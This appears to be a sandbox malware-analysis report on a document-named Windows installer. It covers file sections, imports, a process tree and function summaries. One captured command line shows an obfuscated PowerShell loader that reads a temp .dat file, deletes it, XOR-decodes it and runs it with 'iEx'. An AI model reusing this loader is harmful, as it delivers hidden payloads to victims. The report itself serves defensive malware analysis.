.didata	0xc3000	0x1a4	0x200	8ced971d8a7705c98b173e255d8c9aa7	False	0.345703125	data	2.7509822285969876	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.edata	0xc4000	0x9a	0x200	8d4e1e508031afe235bf121c80fd7d5f	False	0.2578125	data	1.877162954504408	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.tls	0xc5000	0x18	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0xc6000	0x5d	0x200	8f2f090acd9622c88a6a852e72f94e96	False	0.189453125	data	1.3838943752217987	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0xc7000	0xe2d8	0xe400	739e4a2ee14664b0b549d68dd1dc5fa1	False	0.3200212445175439	data	5.068492958484433	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0xc7528	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.45390070921985815
RT_ICON	0xc7990	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	English	United States	0.29098360655737704
RT_ICON	0xc8318	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	United States	0.20825515947467166
RT_ICON	0xc93c0	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.12468879668049793
RT_ICON	0xcb968	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16896	English	United States	0.08573452999527634
RT_ICON	0xcfb90	0x2756	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	0.9509433962264151
RT_STRING	0xd22e8	0x360	data			0.34375
RT_STRING	0xd2648	0x260	data			0.3256578947368421
RT_STRING	0xd28a8	0x45c	data			0.4068100358422939
RT_STRING	0xd2d04	0x40c	data			0.3754826254826255
RT_STRING	0xd3110	0x2d4	data			0.39226519337016574
RT_STRING	0xd33e4	0xb8	data			0.6467391304347826
RT_STRING	0xd349c	0x9c	data			0.6410256410256411
RT_STRING	0xd3538	0x374	data			0.4230769230769231
RT_STRING	0xd38ac	0x398	data			0.3358695652173913
RT_STRING	0xd3c44	0x368	data			0.3795871559633027
RT_STRING	0xd3fac	0x2a4	data			0.4275147928994083
RT_RCDATA	0xd4250	0x10	data			1.5
RT_RCDATA	0xd4260	0x2c4	data			0.6384180790960452
RT_RCDATA	0xd4524	0x2c	data			1.1590909090909092
RT_GROUP_ICON	0xd4550	0x5a	data	English	United States	0.8111111111111111
RT_VERSION	0xd45ac	0x584	data	English	United States	0.273371104815864
RT_MANIFEST	0xd4b30	0x7a8	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.3377551020408163

Imports

DLL	Import
kernel32.dll	GetACP, GetExitCodeProcess, LocalFree, CloseHandle, SizeofResource, VirtualProtect, VirtualFree, GetFullPathNameW, ExitProcess, HeapAlloc, GetCPInfoExW, RtlUnwind, GetCPInfo, GetStdHandle, GetModuleHandleW, FreeLibrary, HeapDestroy, ReadFile, CreateProcessW, GetLastError, GetModuleFileNameW, SetLastError, FindResourceW, CreateThread, CompareStringW, LoadLibraryA, ResetEvent, GetVersion, RaiseException, FormatMessageW, SwitchToThread, GetExitCodeThread, GetCurrentThread, LoadLibraryExW, LockResource, GetCurrentThreadId, UnhandledExceptionFilter, VirtualQuery, VirtualQueryEx, Sleep, EnterCriticalSection, SetFilePointer, LoadResource, SuspendThread, GetTickCount, GetFileSize, GetStartupInfoW, GetFileAttributesW, InitializeCriticalSection, GetSystemWindowsDirectoryW, GetThreadPriority, SetThreadPriority, GetCurrentProcess, VirtualAlloc, GetSystemInfo, GetCommandLineW, LeaveCriticalSection, GetProcAddress, ResumeThread, GetVersionExW, VerifyVersionInfoW, HeapCreate, GetWindowsDirectoryW, VerSetConditionMask, GetDiskFreeSpaceW, FindFirstFileW, GetUserDefaultUILanguage, lstrlenW, QueryPerformanceCounter, SetEndOfFile, HeapFree, WideCharToMultiByte, FindClose, MultiByteToWideChar, LoadLibraryW, SetEvent, CreateFileW, GetLocaleInfoW, GetSystemDirectoryW, DeleteFileW, GetLocalTime, GetEnvironmentVariableW, WaitForSingleObject, WriteFile, ExitThread, DeleteCriticalSection, TlsGetValue, GetDateFormatW, SetErrorMode, IsValidLocale, TlsSetValue, CreateDirectoryW, GetSystemDefaultUILanguage, EnumCalendarInfoW, LocalAlloc, GetUserDefaultLangID, RemoveDirectoryW, CreateEventW, SetThreadLocale, GetThreadLocale
comctl32.dll	InitCommonControls
version.dll	GetFileVersionInfoSizeW, VerQueryValueW, GetFileVersionInfoW
user32.dll	CreateWindowExW, TranslateMessage, CharLowerBuffW, CallWindowProcW, CharUpperW, PeekMessageW, GetSystemMetrics, SetWindowLongW, MessageBoxW, DestroyWindow, CharUpperBuffW, CharNextW, MsgWaitForMultipleObjects, LoadStringW, ExitWindowsEx, DispatchMessageW
oleaut32.dll	SysAllocStringLen, SafeArrayPtrOfIndex, VariantCopy, SafeArrayGetLBound, SafeArrayGetUBound, VariantInit, VariantClear, SysFreeString, SysReAllocStringLen, VariantChangeType, SafeArrayCreate
netapi32.dll	NetWkstaGetInfo, NetApiBufferFree
advapi32.dll	ConvertStringSecurityDescriptorToSecurityDescriptorW, RegQueryValueExW, AdjustTokenPrivileges, GetTokenInformation, ConvertSidToStringSidW, LookupPrivilegeValueW, RegCloseKey, OpenProcessToken, RegOpenKeyExW

Exports

Name	Ordinal	Address
TMethodImplementationIntercept	3	0x4541a8
__dbk_fcall_wrapper	2	0x40d0a0
dbkFCallWrapperAddr	1	0x4be63c

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Target ID:	0
Start time:	13:53:29
Start date:	13/11/2024
Path:	C:\Users\user\Desktop\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exe"
Imagebase:	0x400000
File size:	321'527'232 bytes
MD5 hash:	988955BFA46336BE7EB44F11F5427699
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	13:53:29
Start date:	13/11/2024
Path:	C:\Users\user\AppData\Local\Temp\is-35JO9.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\is-35JO9.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp" /SL5="$2042A,320672528,821248,C:\Users\user\Desktop\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exe"
Imagebase:	0x7ff75da10000
File size:	3'157'504 bytes
MD5 hash:	F386E39F745DF29C2619F21BCA6DAEB7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Antivirus matches:	Detection: 5%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	13:53:30
Start date:	13/11/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -COmMAnD "iEx([tEXT.enCODINg]::UTF8.gETsTriNg((({$F=[Io.FIlE]::ReADALLByTeS($ArGS[0]);(RM $argS[0]);ReTURn $f}.InVoKE('c:\uSERS\user~1\apPdatA\LoCaL\tEmP\Is-39DMu.TMp\..\26E22c944A289b4cDd81b4EA83E051ad.daT'))\|%{$_ -BxOr 'yXAwMfFaZxzDOHKgIEqrlQjtoJuBNSWc'[$K++%32]})))"
Imagebase:
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	13:53:30
Start date:	13/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	13:53:31
Start date:	13/11/2024
Path:	C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe"
Imagebase:	0x1d0000
File size:	4'616'696 bytes
MD5 hash:	43843D75A5EEAD8EE3B71EE2ADCBA3FE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 3%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	13:53:35
Start date:	13/11/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	15
Start time:	13:53:36
Start date:	13/11/2024
Path:	C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe" --pipename={6701CC87-BE79-4714-84C1-CDD879D9C7E0} --edtWorkFlow=1
Imagebase:	0x1d0000
File size:	4'616'696 bytes
MD5 hash:	43843D75A5EEAD8EE3B71EE2ADCBA3FE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	17
Start time:	13:53:45
Start date:	13/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://ims-na1.adobelogin.com/ims/authorize?client_id=CC_HD_ESD_WEB&scope=allow_ac_dt_exchange%2Copenid%2CAdobeID%2Ccreative_cloud%2Ccreative_sdk%2Cread_organizations%2Csao.cce_private%2Cadditional_info.account_type&locale=en_US&redirect_uri=https%3A%2F%2Fauth.services.adobe.com%2Fen_US%2Fdeeplink.html%3Fdelegated_request_id%3D8b59eed4-a4c2-4d7f-a8ea-ab95b58f0a24%26client_id%3DCC_HD_ESD_WEB%26deeplink%3Ddelegation
Imagebase:	0x7ff6c4390000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	18
Start time:	13:53:46
Start date:	13/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2156 --field-trial-handle=1916,i,13664864779448031188,2924605641930340072,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff6c4390000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	19
Start time:	15:23:29
Start date:	13/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=4124 --field-trial-handle=1916,i,13664864779448031188,2924605641930340072,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff6c4390000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	20
Start time:	15:23:29
Start date:	13/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5524 --field-trial-handle=1916,i,13664864779448031188,2924605641930340072,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff6c4390000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	5.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	9.5%
Total number of Nodes:	2000
Total number of Limit Nodes:	46

Executed Functions

Function 003D24B0 Relevance: 30.2, APIs: 8, Strings: 9, Instructions: 443
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoInitializeEx.COMBASE(00000000,00000000), ref: 003D24F8
CoCreateInstance.COMBASE(005A7B4C,00000000,00000001,005A7B5C,?), ref: 003D2525
CoUninitialize.COMBASE ref: 003D2A11

Part of subcall function 002E8EB0: SysAllocString.OLEAUT32(?), ref: 002E8F10

CoSetProxyBlanket.COMBASE(00000000,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 003D25A8
VariantClear.OLEAUT32(?), ref: 003D27B0
SysStringLen.OLEAUT32(?), ref: 003D280D
VariantClear.OLEAUT32(?), ref: 003D287B
VariantClear.OLEAUT32(?), ref: 003D296A

Strings

WQL, xrefs: 003D25CC
ROOT\CIMV2, xrefs: 003D2533
NumberOfCores, xrefs: 003D2881
name, xrefs: 003D2819
Name, xrefs: 003D27B6
SELECT * FROM Win32_Processor, xrefs: 003D25B6
numberOfCores, xrefs: 003D28DF
MaxClockSpeed, xrefs: 003D26AA
frequencyInGHz, xrefs: 003D274C

Memory Dump Source

Source File: 0000000A.00000002.3743552926.00000000001D1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001D0000, based on PE: true

Associated: 0000000A.00000002.3743373365.00000000001D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B40000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754163043.0000000000B49000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754233374.0000000000B4A000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1d0000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID: ClearVariant$String$AllocBlanketCreateInitializeInstanceProxyUninitialize
String ID: MaxClockSpeed$Name$NumberOfCores$ROOT\CIMV2$SELECT * FROM Win32_Processor$WQL$frequencyInGHz$name$numberOfCores
API String ID: 1142649345-4059056153
Opcode ID: 730fc948d8a3e2c5b710afe054dbd86887dfe78572a0d7258c45d24a88a52868
Instruction ID: 8f54ad0fc01e15022018ac158e604f7f6f77000e4507f56058037a16ccbf9fa3
Opcode Fuzzy Hash: 730fc948d8a3e2c5b710afe054dbd86887dfe78572a0d7258c45d24a88a52868
Instruction Fuzzy Hash: 2A029871E10318AFEB15DFA4DC55BAEBBB8BF58700F144159E805BB2D1DBB46A04CBA0

Function 00B49970 Relevance: 7.7, APIs: 5, Instructions: 206
librarymemoryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(?), ref: 00B49AAA
GetProcAddress.KERNEL32(?,00B28FF9), ref: 00B49AC8
ExitProcess.KERNEL32(?,00B28FF9), ref: 00B49AD9
VirtualProtect.KERNEL32(001D0000,00001000,00000004,?,00000000), ref: 00B49B27
VirtualProtect.KERNEL32(001D0000,00001000), ref: 00B49B3C

Memory Dump Source

Source File: 0000000A.00000002.3754163043.0000000000B49000.00000080.00000001.01000000.00000008.sdmp, Offset: 001D0000, based on PE: true

Associated: 0000000A.00000002.3743373365.00000000001D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000001D1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B40000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754233374.0000000000B4A000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1d0000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID: ProtectVirtual$AddressExitLibraryLoadProcProcess
String ID:
API String ID: 1996367037-0
Opcode ID: f10d0b478d52d979cc20c418619e84ee81e00264883e8550ad284b0270b14506
Instruction ID: 89250c07630bfa5e9e3b7a4dcc726c8e324343f1deb4bc8483f0ced4be3c4b26
Opcode Fuzzy Hash: f10d0b478d52d979cc20c418619e84ee81e00264883e8550ad284b0270b14506
Instruction Fuzzy Hash: CD513872A557525BD7208EB8DCC0672B7D4EB4132472807BCC5E2CB3C6F7A45E05A760

Function 00401F10 Relevance: 28.4, APIs: 12, Strings: 4, Instructions: 352
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoInitialize.OLE32(00000000), ref: 00401F40
RtlEnterCriticalSection.NTDLL(00000000), ref: 00401F4F
RtlLeaveCriticalSection.NTDLL(00000000), ref: 00401F59
RtlEnterCriticalSection.NTDLL(?), ref: 00401F6B
RtlLeaveCriticalSection.NTDLL(?), ref: 00401F78
RtlEnterCriticalSection.NTDLL(?), ref: 00401FC6
RtlLeaveCriticalSection.NTDLL(?), ref: 00401FD3
RtlEnterCriticalSection.NTDLL(?), ref: 00402055
RtlLeaveCriticalSection.NTDLL(?), ref: 0040212D
RtlEnterCriticalSection.NTDLL(00000018), ref: 004021D5
RtlLeaveCriticalSection.NTDLL(00000018), ref: 004021DC
CoUninitialize.COMBASE ref: 004022F2

Strings

Event with guid '%s' is being sent, xrefs: 00402204
failure in WaitforEvent, xrefs: 00401FA5
Async thread is completed. Now exiting from function., xrefs: 004022DC
Event with guid '%s' has been discarded. So it won't be sent, xrefs: 004022B2

Memory Dump Source

Source File: 0000000A.00000002.3743552926.00000000001D1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001D0000, based on PE: true

Associated: 0000000A.00000002.3743373365.00000000001D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B40000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754163043.0000000000B49000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754233374.0000000000B4A000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1d0000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID: CriticalSection$EnterLeave$InitializeUninitialize
String ID: Async thread is completed. Now exiting from function.$Event with guid '%s' has been discarded. So it won't be sent$Event with guid '%s' is being sent$failure in WaitforEvent
API String ID: 779438731-1722267760
Opcode ID: 69400de7071755d85b7fdd1d1747e27c28fc742ed30e8d7c443399c2246a4318
Instruction ID: 2218a02d30b0771211e5d3a562f5d55a840a306aaba838baff815acf4356f252
Opcode Fuzzy Hash: 69400de7071755d85b7fdd1d1747e27c28fc742ed30e8d7c443399c2246a4318
Instruction Fuzzy Hash: B0D19B71A00219DFCF04DF98D989AAEBBB5FF49314F14416AE801BB391DB74AD45CBA0

Function 003ECDD0 Relevance: 14.2, APIs: 3, Strings: 5, Instructions: 159
sleepfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadFile.KERNEL32(005853B5,00000000,003ED0B5,00000000,00000000,9F8BC7FC,00000000,?,?,?,?,?,?,?,?,00000000), ref: 003ECE34
GetLastError.KERNEL32(?,?,?,?,?,?,?,00000000,005853B5), ref: 003ECE3D
Sleep.KERNEL32(0000000A), ref: 003ECE6C

Strings

CommBridge, xrefs: 003ECEBB, 003ECEE9, 003ECF3B, 003ECF6C
Aborting read on pipe %p , errno: %lu, xrefs: 003ECF2C, 003ECF67
Number of retries to read pipe exhausted with last errno = %lu. Aborting read on pipe %p, xrefs: 003ECEAC, 003ECEE4
OOBEUtils, xrefs: 003ECEC0, 003ECF40
Terminate channel, xrefs: 003ECF06, 003ECF86

Memory Dump Source

Source File: 0000000A.00000002.3743552926.00000000001D1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001D0000, based on PE: true

Associated: 0000000A.00000002.3743373365.00000000001D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B40000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754163043.0000000000B49000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754233374.0000000000B4A000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1d0000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID: ErrorFileLastReadSleep
String ID: Aborting read on pipe %p , errno: %lu$CommBridge$Number of retries to read pipe exhausted with last errno = %lu. Aborting read on pipe %p$OOBEUtils$Terminate channel
API String ID: 1807766164-3019080840
Opcode ID: 133cf1dddd85548bbfa4a1854ef948b1c103674ad63320e6494acaf7a87d7feb
Instruction ID: 0971ae49c46fb0c0cfc0776bed335c5ff211ad119f64433def5ff7a50e4f1a1c
Opcode Fuzzy Hash: 133cf1dddd85548bbfa4a1854ef948b1c103674ad63320e6494acaf7a87d7feb
Instruction Fuzzy Hash: F051E871A11228AFCF18ABA5CC46BAEBBB6BF44B10F01421DF802B72C1CB705D01CB91

Function 0052E510 Relevance: 7.6, APIs: 5, Instructions: 66
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0053656A: GetLastError.KERNEL32(00000000,00000000,?,0052157F,00000000,?,005215F7,00000000,00000000,00000000,00000000,00000000,00000018,0027417B,?,004024A0), ref: 0053656F
Part of subcall function 0053656A: SetLastError.KERNEL32(00000000,00000002,000000FF,?,005215F7,00000000,00000000,00000000,00000000,00000000,00000018,0027417B,?,004024A0,00000018,00000000), ref: 0053660D

CloseHandle.KERNEL32(?,?,?,0052E647,?,?,0052E4B9,00000000), ref: 0052E541
FreeLibraryAndExitThread.KERNEL32(?,?,?,?,0052E647,?,?,0052E4B9,00000000), ref: 0052E557
RtlExitUserThread.NTDLL(?,?,?,0052E647,?,?,0052E4B9,00000000), ref: 0052E560
_free.LIBCMT ref: 0052E580
GetModuleHandleExW.KERNEL32(00000004,?,0000000C), ref: 0052E59E

Memory Dump Source

Source File: 0000000A.00000002.3743552926.00000000001D1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001D0000, based on PE: true

Associated: 0000000A.00000002.3743373365.00000000001D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B40000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754163043.0000000000B49000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754233374.0000000000B4A000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1d0000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID: ErrorExitHandleLastThread$CloseFreeLibraryModuleUser_free
String ID:
API String ID: 3837758467-0
Opcode ID: 19d0666058b66ee36e3fabbdbeb7e53d4b34b817962e5f7028f02e211504d126
Instruction ID: 426a36206e4ca2941bfffcfad3867b871760535e0265a0a663f1f4dce60ebc2a
Opcode Fuzzy Hash: 19d0666058b66ee36e3fabbdbeb7e53d4b34b817962e5f7028f02e211504d126
Instruction Fuzzy Hash: 0711AC72600224ABCB249B69EC0AA5F7FA9FF83724F148519F925D7290EB70DE01C690

Function 0053C29D Relevance: 4.7, APIs: 3, Instructions: 199
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__freea.LIBCMT ref: 0053C453

Part of subcall function 00535DB3: RtlAllocateHeap.NTDLL(00000000,00000018,00000018), ref: 00535DE5

__freea.LIBCMT ref: 0053C45C
__freea.LIBCMT ref: 0053C47F

Memory Dump Source

Source File: 0000000A.00000002.3743552926.00000000001D1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001D0000, based on PE: true

Associated: 0000000A.00000002.3743373365.00000000001D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B40000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754163043.0000000000B49000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754233374.0000000000B4A000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1d0000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID: __freea$AllocateHeap
String ID:
API String ID: 2243444508-0
Opcode ID: e7769c107ffec29248e460088ae0cedb9c08108200986b85009b7471b4479d1a
Instruction ID: 765d7a539741e6f4e8992cbd8a73dce42bcbe682ff12dd95e285c18345c69960
Opcode Fuzzy Hash: e7769c107ffec29248e460088ae0cedb9c08108200986b85009b7471b4479d1a
Instruction Fuzzy Hash: C9519E7260021AABEF219FA48C55EBB3FA9FB84750F154529FD18B7140EB70DC5197A0

Function 0053B0FC Relevance: 4.7, APIs: 3, Instructions: 170
fileCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0053A88F: GetConsoleOutputCP.KERNEL32(00000000,?,?), ref: 0053A8D7

WriteFile.KERNEL32(?,00000000,00000000,0052DF68,00000000,?,?,?), ref: 0053B242
GetLastError.KERNEL32 ref: 0053B24C
__dosmaperr.LIBCMT ref: 0053B28B

Memory Dump Source

Source File: 0000000A.00000002.3743552926.00000000001D1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001D0000, based on PE: true

Associated: 0000000A.00000002.3743373365.00000000001D0000.00000002.00000001.01000000.00000008.sdmpDownload File
